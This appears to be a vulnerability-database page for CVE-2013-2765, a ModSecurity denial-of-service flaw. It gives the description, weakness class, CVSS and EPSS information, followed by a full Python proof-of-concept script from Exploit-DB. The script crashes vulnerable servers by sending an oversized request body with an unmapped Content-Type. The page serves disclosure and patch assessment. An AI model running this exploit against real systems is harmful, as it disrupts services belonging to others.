CVE-2013-2765 Detail

CVE-2013-2765

CVE Descriptions

The ModSecurity module before 2.7.4 for the Apache HTTP Server allows remote attackers to cause a denial of service (NULL pointer dereference, process crash, and disk consumption) via a POST request with a large body and a crafted Content-Type header.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-476	NULL Pointer Dereference The product dereferences a pointer that it expects to be valid but is NULL.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	5		AV:N/AC:L/Au:N/C:N/I:N/A:P	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 25852

Publication date : 2013-05-30 22h00 +00:00
Author : Younes JAAIDI
EDB Verified : No

Source: http://packetstormsecurity.com/files/121815/modsecurity_cve_2013_2765_check.py.txt When ModSecurity receives a request body with a size bigger than the value set by the "SecRequestBodyInMemoryLimit" and with a "Content-Type" that has no request body processor mapped to it, ModSecurity will systematically crash on every call to "forceRequestBodyVariable" (in phase 1). This is the proof of concept exploit. Versions prior to 2.7.4 are affected. #!/usr/bin/env python3 #-*- coding: utf-8 -*- # # Created on Mar 29, 2013 # # @author: Younes JAAIDI <[email protected]> # import argparse import http.client import logging import sys import urllib.request logger = logging.getLogger(__name__) logger.setLevel(logging.DEBUG) logger.addHandler(logging.StreamHandler(sys.stderr)) class ModSecurityDOSCheck(object): _DEFAULT_REQUEST_BODY_SIZE = 200 # KB _DEFAULT_CONCURRENCY = 100 _DEFAULT_USER_AGENT = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36" def __init__(self): self._request_counter = 0 self._status_message = None def main(self, args_list): args_object = self._parse_args(args_list) payload = "A" * args_object.request_body_size * 1024 request = urllib.request.Request(args_object.target_url, method = "GET", data = payload.encode('utf-8'), headers = {'Content-Type': 'text/random', 'User-Agent': self._DEFAULT_USER_AGENT}) if self._send_request(request): logger.info("Target seems to be vulnerable!!!") return 0 else: logger.info("Attack didn't work. Try increasing the 'REQUEST_BODY_SIZE'.") return 1 def _parse_args(self, args_list): parser = argparse.ArgumentParser(description="ModSecurity DOS tool.") parser.add_argument('-t', '--target-url', dest = 'target_url', required = True, help = "Target URL") parser.add_argument('-s', '--request-body-size', dest = 'request_body_size', default = self._DEFAULT_REQUEST_BODY_SIZE, type = int, help = "Request body size in KB") return parser.parse_args() def _send_request(self, request): try: urllib.request.urlopen(request) return False except (http.client.BadStatusLine, urllib.error.HTTPError): return True if __name__ == '__main__': sys.exit(ModSecurityDOSCheck().main(sys.argv))